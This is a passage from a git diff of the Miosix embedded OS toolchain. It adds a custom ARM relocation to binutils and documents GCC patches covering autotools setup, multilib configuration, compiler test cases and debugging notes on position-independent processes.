r_type < R_ARM_IRELATIVE + ARRAY_SIZE (elf32_arm_howto_table_2)) + return &elf32_arm_howto_table_2[r_type - R_ARM_IRELATIVE]; + ++ if (r_type >= R_ARM_MIOSIXPROC_TGT2 ++ && r_type < R_ARM_MIOSIXPROC_TGT2 + ARRAY_SIZE (elf32_arm_howto_table_miosix)) ++ return &elf32_arm_howto_table_miosix[r_type - R_ARM_MIOSIXPROC_TGT2]; ++ + if (r_type >= R_ARM_RREL32 + && r_type < R_ARM_RREL32 + ARRAY_SIZE (elf32_arm_howto_table_3)) + return &elf32_arm_howto_table_3[r_type - R_ARM_RREL32]; +@@ -9087,6 +9109,8 @@ + globals->target2_reloc = R_ARM_ABS32; + else if (strcmp (params->target2_type, "got-rel") == 0) + globals->target2_reloc = R_ARM_GOT_PREL; ++ else if (strcmp (params->target2_type, "mx-data-rel") == 0) //Miosix OS specific ++ globals->target2_reloc = R_ARM_MIOSIXPROC_TGT2; + else + { + _bfd_error_handler (_("invalid TARGET2 relocation type '%s'"), +@@ -10560,6 +10584,7 @@ + case R_ARM_XPC25: + case R_ARM_PREL31: + case R_ARM_PLT32: ++ case R_ARM_MIOSIXPROC_TGT2: + /* Handle relocations which should use the PLT entry. ABS32/REL32 + will use the symbol's value, which may point to a PLT entry, but we + don't need to handle that here. If we created a PLT entry, all +@@ -10607,7 +10632,8 @@ + && r_type != R_ARM_CALL + && r_type != R_ARM_JUMP24 + && r_type != R_ARM_PREL31 +- && r_type != R_ARM_PLT32) ++ && r_type != R_ARM_PLT32 ++ && r_type != R_ARM_MIOSIXPROC_TGT2) /* No run-time resolution needed */ + { + Elf_Internal_Rela outrel; + bool skip, relocate; +@@ -10881,6 +10907,33 @@ + if (branch_type == ST_BRANCH_TO_THUMB) + value |= 1; + break; ++ ++ /* ++ * R_ARM_MIOSIXPROC_TGT2 is used in Miosix processes to implement TARGET2 ++ * static relocations for C++ exception unwinding tables. ++ * In Miosix processes, pointers in exception unwinding tables are of the ++ * DW_EH_PE_datarel type as there's no fixed gap between .ARM.extab and ++ * .data sections. The unwinding code sums the base of the data segment to ++ * the statically relocated offset by calling _Unwind_GetDataRelBase. ++ * Since this is done in code, no run-time relocation should be output in ++ * the binary file against .ARM.extab which can be readonly. ++ * Apparently, all the required support was unimplemented in GCC and ++ * although binutils provided a command-line option to select how TARGET2 ++ * relocations should be treated, the available ones couldn't be made to ++ * work. Even more, although I tried to implement TARGET2 using existing ++ * relocations, I couldn't and I had to add a new one, R_ARM_MIOSIXPROC_TGT2 ++ * which is basically the same as R_ARM_ABS32, except that ++ * - no run-time relocation should be present ++ * - 0x4000000 (Miosix processes' DATA_BASE in the linker script) should be ++ * subtracted to encode only the data-relative offset ++ * ++ * See processes-patch.md in the Miosix kernel tree for the big picture. ++ */ ++ case R_ARM_MIOSIXPROC_TGT2: ++ value += addend - 0x40000000; /* subtract DATA_BASE */ ++ if (branch_type == ST_BRANCH_TO_THUMB) ++ value |= 1; ++ break; + + case R_ARM_ABS32_NOI: + value += addend; +diff -ruN binutils-2.45-old/include/elf/arm.h binutils-2.45/include/elf/arm.h +--- binutils-2.45-old/include/elf/arm.h 2025-07-27 01:00:00.000000000 +0200 ++++ binutils-2.45/include/elf/arm.h 2025-11-03 23:04:18.344853924 +0100 +@@ -258,6 +258,7 @@ + RELOC_NUMBER (R_ARM_TLS_GD32_FDPIC, 165) + RELOC_NUMBER (R_ARM_TLS_LDM32_FDPIC, 166) + RELOC_NUMBER (R_ARM_TLS_IE32_FDPIC, 167) ++ RELOC_NUMBER (R_ARM_MIOSIXPROC_TGT2, 248) /* data-relative TARGET2 in Miosix processes */ + + /* Extensions? R=read-only? */ + RELOC_NUMBER (R_ARM_RXPC25, 249) +diff -ruN binutils-2.45-old/zlib/zutil.h binutils-2.45/zlib/zutil.h +--- binutils-2.45-old/zlib/zutil.h 2025-07-27 01:00:00.000000000 +0200 ++++ binutils-2.45/zlib/zutil.h 2025-11-03 23:04:18.344853924 +0100 +@@ -139,15 +139,6 @@ + + #if defined(MACOS) || defined(TARGET_OS_MAC) + # define OS_CODE 7 +-# ifndef Z_SOLO +-# if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os +-# include /* for fdopen */ +-# else +-# ifndef fdopen +-# define fdopen(fd,mode) NULL /* No fdopen() */ +-# endif +-# endif +-# endif + #endif + + #ifdef __acorn diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/autohell.txt b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/autohell.txt new file mode 100644 index 000000000..ac041508b --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/autohell.txt @@ -0,0 +1,85 @@ + +One way ticket to (autotools) hell and back. +============================================ + +A quick guide on how to make autotools work well enough in newlib to make patches. + +First of all the main part of the solution: autoreconf + +When adding new source files to a directory, use + +$ autoreconf --no-recursive +$ find . -name autom4te.cache | xargs rm -rf + +The first command does the job. The --no-recursive option is to prevent it +from trying to 'fix' configure files in all subdirectories. The second +command removes all temporary files generated by the first. + +When adding a new directory with source files, you've got to add a configure.in +and Makefile.am, by copying them from another directory and tweaking them. +Then, go up one directory, open configure.in and add AC_CONFIG_SUBDIRS(newdir) +where newdir is the new directory. After that, do a + +$ autoreconf +$ find . -name autom4te.cache | xargs rm -rf + +Is this all? No, obviously. First of all, a small notice: never do an +autoreconf in the top level directory. At most do an autoreconf in the +newlib subdirectory. + +Then, the big trouble: autoconf and automake, the two tools behind all this +autoconfiguration magic are neither forward nor backward compatible. If you +try to autoreconf with a different version than the one used in newlib, +they'll try to heavily modify each and every configure they come across, +resulting in a diff from the previous version of several megabytes. + +So, you've got to download the exact version of autoconf and automake, +make an autotools directory, copy the autoconf and automake of the exact +version taken from the GNU website, and then + +wget https://ftpmirror.gnu.org/autoconf/autoconf-2.69.tar.gz +wget https://ftpmirror.gnu.org/automake/automake-1.15.1.tar.gz +mkdir autobins +PFX=`pwd`/autobins +tar xvf autoconf-2.69.tar.gz +cd autoconf-2.69 +./configure --prefix=$PFX +make +make install +cd .. +tar xvf automake-1.15.1.tar.gz +cd automake-1.15.1 +./configure --prefix=$PFX +make +make install +cd .. +export PATH=`pwd`/autobins/bin:$PATH + + +cd ../autobins/share +rm -rf aclocal +ln -s `pwd`/aclocal-1.15 aclocal +cd - +Note that the last command is necessary because during installation an +aclocal-1.11 directory is created, but the scripts expect an aclocal directory. +Essentially, the make install of automake is broken, go figure... + +After that, before running autoreconf do an export PATH=:$PATH, where + is the bin directory where autoconf and automake were installed. + +But wait, there's more fail! +The old autotools scripts fail to run with the new perl interpreter... + +$ automake --version +Unescaped left brace in regex is illegal here in regex; marked by <-- HERE in m/\${ <-- HERE ([^ \t=:+{}]+)}/ at /home/fede/Documents/programmazione/miosix/newcompiler/compiler/autotools/autobins/bin/automake line 4159. + +If it does so, fix it like this: +http://gnu-automake.7480.n7.nabble.com/bug-23602-Unescaped-left-brace-in-regex-is-deprecated-passed-through-in-regex-td22201.html + +sub substitute_ac_subst_variables ($) +{ + my ($text) = @_; +# $text =~ s/\${([^ \t=:+{}]+)}/&substitute_ac_subst_variables_worker ($1)/ge; + $text =~ s/\$\{([^ \t=:+{}]+)\}/substitute_ac_subst_variables_worker ($1)/ge; + return $text; +} diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/gcc.txt b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/gcc.txt new file mode 100644 index 000000000..6ff16594a --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/gcc.txt @@ -0,0 +1,197 @@ +Rationale for gcc patch +----------------------- + +This patch does the following: + +1) It modifies the config/gthr.m4 and libgcc/configure files to add + gthr-miosix.h to the build system. + +2) It modifies gcc/config.gcc to add the miosix-eabi.h file and t-arm-miosix to + the build system. + +3) It modifies gcc/configure and gcc/configure.ac to accept the parameter + --enable-threads=miosix + +4) It adds gcc/config/arm/miosix-eabi.h which defines the builtin _MIOSIX and + the miosix patch version. + +5) It adds gcc/config/arm/t-arm-miosix to enable multilibs for + fpie/msingle-pic-base to implement processes. It also enables multilibs for + ARM architecture variants relevant for microcontrollers. + +6) Given that Miosix does not have a thread local storage API, but it is + required in a couple of places related to C++ exception handling + (that is, gcc/unwind-sjlj.c and libsupc++/eh_globals.cc), those files have + been modified removing functions to get/set the thread-local variables. + Those functions are now implemented within Miosix, in kernel/syscalls.cpp + +7) It adds the gcc/gthr-miosix.h specifying the miosix thread model, basically + telling the compiler that threadsafe code is required and pointing it to + the routines it needs to do so (standard posix routines). Without this + modification, arm-miosix-eabi-gcc -v would report "Thread model: single" + and generate thread unsafe code. + +8) The thread safe initialization of C++ static objects can be implemented + more efficiently using the Miosix API rather than the POSIX one, so the + functions __cxa_guard_[acquire|release|abort] have been removed from + libsupc++/guard.cc and implemented in miosix/kernel/syscalls.cpp + +9) It reduces the size of the emergency buffer in + libstdc++-v3/libsupc++/eh_alloc.cc, which is used for allocating the + std::bad_alloc exception that operator new should throw when the heap is + full. By default it is set to a conservative value that is too large when + compared with the RAM size of microcontrollers. + +10) It makes the verbose terminate handler a weak symbol to save code size. + +11) It adds __attribute__((weak)) to some functions that pull in exception + support to make them overridable by miosix when compiling without exceptions + to minimize code size. The only ones which are not made weak are: + - ios_failure: already large code size, so might as well not disable exceptions + - regex: same as above + - occurrences of _GLIBCXX_THROW_OR_ABORT in headers. Don't know how to fix + those, if they are ever used inside a .cc file within libstdc++ itself. + +12) It moves some functions from a .cc file within libstdc++ to the header file, + as when libstdc++ is compiled, exceptions are enabled. This code then pulls + in exception support (and its code size penalty) even when Miosix is built + with exceptions disabled. string, condition_variable and thread have + been patched to avoid this. For string, removing template instantiation + prevention code for basic_string was needed to generate non-exception code + that is preferentially linked instead of the one in libstdc++ forcedly + instantiated in libstdc++. + +NOTES +----- + +Atomicity of libstdc++ +---------------------- +from objdir/arm-miosix-eabi//libstdc++-v3/config.log + ARM CM0 CM3 CM4 CM7 +atomic builtins for bool - - Y Y Y +atomic builtins for short - - Y Y Y +atomic builtins for int - - Y Y Y +atomic builtins for long long - - - - - +lock policy for shared_ptr F F Y* Y* Y* +* configure:15883: result: atomic +Note that: +- atomic_store still uses mutex anyway, see bits/shared_ptr_atomic.h + +Autotools issue +--------------- +Some configure checks fail because in order to check for the presence of a +particular function, a sample C program is compiled AND LINKED. Now, the +GCC for miosix is meant to work if linked to libmiosix.a which isn't there yet, +so code depending on syscalls causes "undefined reference" link failures. +Do check the output of configure (configure.log) for check failures and +add stubs to newlib accordingly. +Note: look for configure.log in objdir/arm-miosix-eabi subdirectories, +which curently are libatomic, libgcc, libquadmath and libstdc++-v3. +The one that does more syscall-dependent configure checks is libstdc++ + +Checks +------ +thread_local is not supported, check that an example with thread_local produces +compile-time errors to avoid giving the false impression that it works. + +Types to watch out +------------------ +Some unexported types are copy-pasted in the kernel, and need to be kept consistent +struct __cxa_eh_globals in miosix/kercalls/libstdcpp_integration.h + + +Program to check how atomic ops are handled +------------------------------------------- +//test code -- begin +//libsupc++/eh_atomics.h is worth a look +#include +#include +#include +_Atomic_word theInt; +void inc() +{ + __atomic_add_fetch (&theInt, 1, __ATOMIC_ACQ_REL); +} +bool decTest() +{ + return __atomic_sub_fetch (&theInt, 1, __ATOMIC_ACQ_REL) == 0; +} +//arm-miosix-eabi-g++ -mthumb -mcpu=cortex-m3 -std=c++11 -O2 -S test.cpp +// _Z3incv: +// dmb ish +// ldr r3, .L4 +// .L2: +// ldrex r2, [r3] +// adds r2, r2, #1 +// strex r1, r2, [r3] +// cmp r1, #0 +// bne .L2 +// dmb ish +// bx lr +//arm-miosix-eabi-g++ -mthumb -mcpu=cortex-m0 -std=c++11 -O2 -S test.cpp +// _Z3incv: +// push {r4, lr} +// movs r2, #4 +// movs r1, #1 +// ldr r0, .L3 +// bl __atomic_fetch_add_4 +// pop {r4, pc} +//test code -- end + + +Calculations to minimize the emergency buffer for throwing std::bad_alloc. +-------------------------------------------------------------------------- +# Sample program to do the computation -- begin +//Requires to copy-paste unwind-cxx.h from libsupc++ +#include +#include +#include "unwind-cxx.h" +#include +int main() +{ + printf("sizeof(_Unwind_Exception) %d\n",sizeof(_Unwind_Exception)); + printf("sizeof(_Atomic_word) %d\n",sizeof(_Atomic_word)); + printf("sizeof(__cxa_exception) %d\n",sizeof(__cxxabiv1::__cxa_exception)); + printf("sizeof(__cxa_refcounted_exception) %d\n",sizeof(__cxxabiv1::__cxa_refcounted_exception)); + printf("sizeof(std::bad_alloc) %d\n",sizeof(std::bad_alloc)); + printf("sizeof(std::logic_error) %d\n",sizeof(std::logic_error)); + throw std::bad_alloc(); +} +# Sample program to do the computation -- end + +unwind-cxx.h declares __cxa_refcounted_exception, while unwind-arm-common.h +declares _Unwind_Exception. Size computations as of Sep 1, 2019. + +The size of __cxa_refcounted_exception on ARM is: +sizeof(_Unwind_Exception) 88 +sizeof(_Atomic_word) 4 +sizeof(__cxa_exception) 120 +sizeof(__cxa_refcounted_exception) 128 +sizeof(std::bad_alloc) 4 +sizeof(std::logic_error) 8 + +While on other archs is (commenting #ifdef __ARM_EABI_UNWINDER__ part in unwind-cxx.h) +sizeof(_Unwind_Exception) 88 +sizeof(_Atomic_word) 4 +sizeof(__cxa_exception) 136 +sizeof(__cxa_refcounted_exception) 144 +sizeof(std::bad_alloc) 4 +sizeof(std::logic_error) 8 + +Thus allocating bad_alloc takes 132Bytes on ARM, and 148Bytes on other archs. + +It is recomended to leave some space just in case a different exception is +thrown, like logic_error or runtime_error and there is no heap to allocate it. +By seeing stdexcept and stdexcept.cc these classes only contain a string object, +and sizeof(logic_error) returns 8 bytes (4=vptr 4=string). + +Note Jul 5, 2010. +A testcase started to fail, JTAG debugging found that a bad_alloc was allocated +that required 132Bytes. Expanding EMERGENCY_OBJ_SIZE to 160 bytes (128+32) to leave +some margin. +Note Sep 1, 2019. +Apparently, nothing changed in 9 years, as bad_alloc still requires 132Bytes. + +Conclusion: +Looks like EMERGENCY_OBJ_SIZE can be shrinked from 512 to 160bytes, for 32bit systems. +For EMRGENCY_OBJ_COUNT, 3 is good. diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/gcc_multilib.md b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/gcc_multilib.md new file mode 100644 index 000000000..e61a4c7f1 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/gcc_multilib.md @@ -0,0 +1,174 @@ +# Multilib configuration with config file fragments in GCC + +Even though the documentation in https://gcc.gnu.org/onlinedocs/gccint/Target-Fragment.html +is fairly comprehensive about how config file fragments work, it is missing +a high-level overview of what is happening and leaves out important details, +which might make the process of updating these files a bit baffling. + +The config file fragments to run are selected by the config.gcc shell script, +depending on the specified target triple, matched via shell script globs. +The list of fragments is stored in the tmake_file environment variable, which +through the magic of autoconf/automake gets copied in the materialized +Makefile, where they are included just before the declaration of the recipes +related to target-dependent files. Therefore, these "config" file fragments are +actually Makefile includes, and do not actually run at config time. Whatever. + +The config fragments set the following variables related to multilib: + + - `MULTILIB_OPTIONS`, `MULTILIB_DIRNAMES`: base set of multilibs + - `MULTILIB_EXCEPTIONS`: blacklist to be applied to the base set + - `MULTILIB_REQUIRED`: whitelist to be applied to the base set after the blacklist + - `MULTILIB_MATCHES`: specifies aliases for single options + - `MULTILIB_REUSE`: specifies aliases for single option combinations + +These variables are processed by a Python script called `genmultilib`, which +in turn produces a header file called `multilib.h` which is then included +by the code of GCC. This mechanism effectively "bakes" the multilib directory +structure in the GCC executable. + +## Multilib option expansion + +The `MULTILIB_OPTIONS` variable is basically interpreted as a list of +sets, where the number of sets is defined by the number of options separated by +spaces, and slashes (/) separe each item in the set. Each set also implicitly +includes the empty string (for the case in which the option is not specified). + +Therefore if + +``` +MULTILIB_OPTIONS=mthumb march=armv6s-m/march=armv7-m/march=armv7e-m mfloat-abi=hard/mfloat-abi=softfp +``` + +then there are 3 sets with size 2, 4, 3 respectively: + +``` +"" "" "" +"mthumb" "march=armv6s-m" "mfloat-abi=hard" + "march=armv7-m" "mfloat-abi=softfp" + "march=armv7e-m" +``` + +The multilib list is generated by cartesian product of the sets, resulting in: + +``` +"","","" +"","","mfloat-abi=hard" +"","","mfloat-abi=softfp" +"","march=armv6s-m","" +"","march=armv6s-m","mfloat-abi=hard" +"","march=armv6s-m","mfloat-abi=softfp" +"","march=armv7-m","" +"","march=armv7-m","mfloat-abi=hard" +"","march=armv7-m","mfloat-abi=softfp" +"","march=armv7e-m","" +"","march=armv7e-m","mfloat-abi=hard" +"","march=armv7e-m","mfloat-abi=softfp" +"mthumb","","" +"mthumb","","mfloat-abi=hard" +"mthumb","","mfloat-abi=softfp" +"mthumb","march=armv6s-m","" +"mthumb","march=armv6s-m","mfloat-abi=hard" +"mthumb","march=armv6s-m","mfloat-abi=softfp" +"mthumb","march=armv7-m","" +"mthumb","march=armv7-m","mfloat-abi=hard" +"mthumb","march=armv7-m","mfloat-abi=softfp" +"mthumb","march=armv7e-m","" +"mthumb","march=armv7e-m","mfloat-abi=hard" +"mthumb","march=armv7e-m","mfloat-abi=softfp" +``` + +And now you know why this way of deciding which multilibs to build wasn't +exactly the best one... and they introduced `MULTILIB_EXCEPTIONS`, +`MULTILIB_REQUIRED`, `MULTILIB_MATCHES` and `MULTILIB_REUSE` to patch it up. +All these variables take the list above and modify it. `MULTILIB_REQUIRED` +modifies the combinations at GCC build time, while the others are implemented +at GCC runtime. + +The `genmultilib` script flattens the sets even more, by repeating all options +that were *not* chosen, prefixed by a "!", producing basically an (inefficient) +one-hot encoding of the above. Therefore the list above becomes: + +``` +"!mthumb !march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb !march=armv6s-m !march=armv7-m !march=armv7e-m mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb !march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard mfloat-abi=softfp" +"!mthumb march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb march=armv6s-m !march=armv7-m !march=armv7e-m mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard mfloat-abi=softfp" +... +``` + +You get the idea... + +## Multilib selection process + +When choosing a multilib, GCC first normalizes (in a target-dependent way) +the command line options related to the architecture to a certain degree +(mainly adds -march=... if it has been implied by a more complex sequence of +options, and also adds any default option if it has not been specifically +overridden) and then picks the multilib directory via the `set_multilib_dir()` +function (in gcc/gcc.c). + +This function first check if there is an exclusion (`MULTILIB_EXCEPTIONS`) +that matches all the specified arguments. In that case it quits immediately, +which results in not choosing any multilib. +Otherwise, it checks every available multilib and alias (`MULTILIB_REUSE`) +for a match with the given options. Options in the multilib specification and +the command line are compared via plain old string comparison (!). +The algorithm looks like this, in pseudocode (assuming I didn't read it wrong, +the original implementation of the logic is unnecessarily convoluted): + +``` +for combination in multilibs: + ok = true + for option in combination: + # gcc/gcc.c:8944 (gcc 9.2.0) + if option was specified because it's a default: + continue + # gcc/gcc.c:8930 (gcc 9.2.0) + in_cmd_line = option was specified in the command line + should_be_in_cmd_line = option is specified for this multilib (not prefixed with !) + if in_cmd_line != should_be_in_cmd_line: + ok = false + break + # gcc/gcc.c:8951 (gcc 9.2.0) + if ok: + return directory of this combination +# no multilib found +return root lib directory +``` + +In other words, options that are not contemplated by the multilib configuration +are ignored. Amongst the options contemplated, a multilib matches if all +non-default options given to gcc (after normalization) match exactly with the +ones that were enabled for that multilib. + +Note that options set as default via defines (for example `TARGET_DEFAULT_FLOAT_ABI`) +do NOT count as a default option for the logic above, as these defaults never +appear as argument strings in a gcc internal command line. I leave any comment +to the reader. + +## Can I have two options that always appear together be associated with one directory level instead of two? + +Example: `-fpie -msingle-pic-base` are either both enabled or both disabled for +Miosix multilibs. We want to use a single directory level `processes` for that +pair of options instead of two levels. + +Putting the two options in quotes will never work because the quotes will +be inconsistently expanded by the various scripts. I didn't even try this +approach because it sounds so hopeless. (if you have one day to waste you can +try it out!) + +What I tried is using "." for one of the directories like this: + +``` +MULTILIB_OPTIONS += fpie msingle-pic-base +MULTILIB_DIRNAMES += processes . +``` + +which incredibly is fine for GCC... but not for newlib because for some +(probably Makefile-related) reason at one point it counts the number of +path components and replaces them with ".." to get to the root and... well yeah, +you can guess what happens :( + +So the answer is no, you can't do this. That's sad. diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/processes-patch-testcases-cpp.cpp b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/processes-patch-testcases-cpp.cpp new file mode 100644 index 000000000..9acd04bf6 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/processes-patch-testcases-cpp.cpp @@ -0,0 +1,11 @@ + +class Base +{ +public: + virtual ~Base() {} +}; + +Base *mkbase() +{ + return new Base; +} diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/processes-patch-testcases.c b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/processes-patch-testcases.c new file mode 100644 index 000000000..5e6f55eb4 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/processes-patch-testcases.c @@ -0,0 +1,48 @@ + +extern const int aRodata; +const int aRodata2=42; +extern int aData; +int aData=0; +const char str[]="Hello world\n"; +//extern const char *str; + +int get1() { return aRodata; } +int get2() { return aData; } +const char *get3() { return str; } +int get4() { return aRodata2; } +const int *get5() { return &aRodata2; } + +// If this produces a GOTOFF relocation, it's broken +int *ptr = { 0 }; +int *get6() +{ + return ptr; +} + +void f(); +typedef void (*fp)(); +fp g() { return &f; } + +// Like extern struct _reent *const _global_impure_ptr __ATTRIBUTE_IMPURE_PTR__; +extern int * const cptr; + +const int *get7() +{ + return cptr; +} + +// ptr1 ends in .data.rel, as its value needs to be relocated while ptr2 ends up in .rodata. +int * const ptr1=0; +int * const ptr2=&aData; + +const int * gg() { return ptr2; } //Interesting, due to optimization this references directly aData + +// What if it's not a pointer, like extern int * const cptr; but a struct, or an array? +// If that struct contains pointers, then the entire struct gets promoted out of .rodata +struct Q { int *p; int i; }; +const struct Q q1 = { 0,0 }; +const struct Q q2 = { &aData,0 }; + + + + diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/processes-patch.md b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/processes-patch.md new file mode 100644 index 000000000..3331e5d70 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/processes-patch.md @@ -0,0 +1,944 @@ + +# Notes on the patch to support processes in Miosix + +TODO: Intro, pie, single-pic-base, no fixed offset between .text/.rodata and .got/.data/.bss, the basic stuff of how Miosix processes work. + +TODO: Comment the changes that were introduced in 4.7.3 and their limitations (processes couldn't use standard libraries as malloc and everything that used it was broken), as what comes next is a delta compared to it. + +NOTE: Most of this document contains addresses from debugging sessions done when DATA_BASE, or the base address of the data segment in a Miosix process before being dynamically relocated, is 0x10000000. This was later changed to 0x40000000, so watch out if some address seems strange. + + + +## The problem with extern const (FIXED) + +In processes compiled with GCC 4.7.3: + +- stuff in .data are accessed from the GOT, which is OK +- strings in .rodata are accessed PC-relative, which is OK +- consts in .rodata are accessed from the GOT, which is WRONG! (more on that later when pointer are involved, though) + +Here's an example: + +``` +extern const int aRodata; +extern int aData; +const char str[]="Hello world\n"; + +int get1() { return aRodata; } +int get2() { return aData; } +const char *get3() { return str; } +``` + +used to compile as: + +``` +get1: + ldr r3, .L3 + ldr r3, [r9, r3] + ldr r0, [r3] + bx lr + +get2: + ldr r3, .L6 + ldr r3, [r9, r3] + ldr r0, [r3] + bx lr + + +get3: + ldr r0, .L9 +.LPIC0: + add r0, pc + bx lr +``` + +`get1()` is the wrong one, of course. + +(Compiled with `arm-miosix-eabi-gcc -mcpu=cortex-m3 -mthumb -mfix-cortex-m3-ldrd -fpie -msingle-pic-base -O2 -S processes.c`). + +What usually masks the issue is constant folding. Unless it's an extern const the value gets folded and the problem does not arise. + +Solution: +the previous patch relied on a GCC function, `decl_readonly_section()` to check whether the global variable to be loaded is const or not, but that function missed a few cases, so a dedicated function, the `miosix_processes_ref_demux()` function was added in `arm.c`. This new function handles the corner cases better, and also allows to fix some of the next issues. + + + + +## Why malloc failed (FIXED) + +`malloc()` uses a convoluted global array of pointers with an initializer list which makes them point inside the array itself. For a long time this was thought to confuse the codegen/relocations/whatever, somehow. + +Segfault was at address 0xf2 of this code: + +``` + e6: 2318 movs r3, #24 + e8: f8df 2538 ldr.w r2, [pc, #1336] ; 624 <_malloc_r+0x55c> + ec: f859 6002 ldr.w r6, [r9, r2] + f0: 4433 add r3, r6 +newlib-3.1.0/newlib/libc/stdlib/mallocr.c:2378 + f2: 685c ldr r4, [r3, #4] +``` + +But replicating similar code that referenced the same convolute array, `__malloc_av_` did not cause segfaults. + +An objdump of `main.o` found at the end of func: + +``` + 44: R_ARM_GOT32 __malloc_av_ +``` + +While an objdump of `lib_a-mallocr.o` at the end of `malloc_r`: + +``` + 55c: R_ARM_GOTOFF32 .LANCHOR0 + 560: R_ARM_GOTOFF32 .LANCHOR1 + 564: R_ARM_GOTOFF32 .LANCHOR2 +``` + +Page 208 of linkers and loaders explains the difference between GOT32 and GOTOFF, and GOTOFF relaocations only work if the gap between .text and .got is known, which is not. + +Turns out the issue is unrelated to the convolute array of malloc, a much simpler test case that triggers the issue causing GOTOFF relocations is: + +``` +int *ptr = { 0 }; +int *get6() +{ + return ptr; +} +``` + +Solution: comment out the part that generates GOTOFF relocations in the `arm_assemble_integer()` function in `arm.c`. In Miosix processes GOTOFF relocations should never appear. + + + + +## The problem with const pointers (FIXED) + +Accessing `_GLOBAL_REENT` in newlib segfaults, such as in this function: + +``` +struct _reent *__getreent() +{ + return _GLOBAL_REENT; +} + +__getreent(): + a78: 4b01 ldr r3, [pc, #4] ; (a80 <__getreent+0x8>) + a7a: 447b add r3, pc + a7c: 6818 ldr r0, [r3, #0] + a7e: 4770 bx lr +``` + +Now, `_GLOBAL_REENT` is declared as: + +``` +// sys/reent.h +extern struct _reent *const _global_impure_ptr; +#define _GLOBAL_REENT _global_impure_ptr +``` + +and defined as: + +``` +// impure.c +static struct _reent impure_data = _REENT_INIT(impure_data); +struct _reent *_impure_ptr = &impure_data; +struct _reent *const _global_impure_ptr = &impure_data; +``` + +At first it was believed that the issue is with the constness of pointer being more complex than normal variables, as we need not confuse the constness of the thing pointed to from the constness of the pointer itself. + +However, further investigation found out the const patch works in this case too: + +``` +extern const int * cptr; +const int *get() { return cptr; } + + ldr r3, .L3 + ldr r3, [r9, r3] + ldr r0, [r3] + +(symbol_ref:SI ("cptr") [flags 0xc0] ) + + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7f9a2ff71a80 + precision:32 min + max + pointer_to_this > + unsigned SI size unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set 1 canonical-type 0x7f9a2ff71b28 + pointer_to_this > + used public unsigned external common read SI processes.c:22:20 + size unit-size + align:32 warn_if_not_align:0 context + (mem/f/c:SI (symbol_ref:SI ("cptr") [flags 0xc0] ) + [1 cptr+0 S4 A32]) chain > +variable (decl!=0) + + + +extern int * const cptr; +const int *get() { return cptr; } + + add r3, pc + ldr r0, [r3] + +(symbol_ref:SI ("cptr") [flags 0xc0] ) + + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7f68224bf5e8 + precision:32 min + max + pointer_to_his > + readonly unsigned SI size unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7f682259ba80 + pointer_to_this > + readonly used public unsigned external common read SI processes.c:22:20 + size unit-size + align:32 warn_if_not_align:0 context + (mem/u/f/c:SI (symbol_ref:SI ("cptr") [flags 0xc0] ) + [1 cptr+0 S4 A32]) chain > +constant (TYPE_READONLY) +``` + +Basically, `extern const int * cptr;` is a non-const pointer, so it ends up in .data, and is accessed from the GOT, which is OK, and `extern int * const cptr;` is a const pointer which should end up in .rodata, so is accessed PC-relative, which seems good. In general, when deciding whether to use GOT or PC-relative addressing to get a pointer we are concerned about how to acccess the pointer itself, not what it points to (accessing what it points to is trivial and uniform, as you just need to dereference it in all cases). + +Although it seems reasonable to assume a const pointer ends up in .rodata just like any otheer const, it's also wrong. + +It looks that to know whether a pointer ends up in .rodata or not you can't just look at its **declaration**, you have to look at is **definition**, see for yourself: + +``` +extern int aData; +int * const ptr1=0; +int * const ptr2=&aData; + + .section .rodata +ptr1: + .space 4 + + .section .data.rel.ro,"aw" +ptr2: + .word aData +``` +If the const pointer is defined as pointing to another variable, it needs to be relocated. That is, the content of the memory cell of the pointer itself isn't known till run-time, because the address of the variable it should point to isn't known. But relocations in .rodata can't happen, as its... readonly, so the constant pointer gets promoted to another section that is in RAM so the relocation can take place. + +The implemented fix requres a compromise: in the general case we can't see the pointer definition, as it may be in another translation unit. Thus, we assume that all pointers will need a relocation, and thus we access all pointers (or all complex data structures that may contain pointers, using the `contains_pointers_p()` function of GCC) and use GOT addressing for those. + +At first, it was believed that to make this work, we need to actually move them into RAM to make the relocation work. + +This patch fragment of `categorize_decl_for_section()` in `varasm.c` did exactly that. + +``` +diff -ruN gcc-9.2.0-old/gcc/varasm.c gcc-9.2.0/gcc/varasm.c +--- gcc-9.2.0-old/gcc/varasm.c 2019-04-12 09:28:35.000000000 +0200 ++++ gcc-9.2.0/gcc/varasm.c 2020-06-25 00:36:05.732146923 +0200 +@@ -56,6 +56,8 @@ + #include "asan.h" + #include "rtl-iter.h" + #include "file-prefix-map.h" /* remap_debug_filename() */ ++#include "print-tree.h" ++#include + + #ifdef XCOFF_DEBUGGING_INFO + 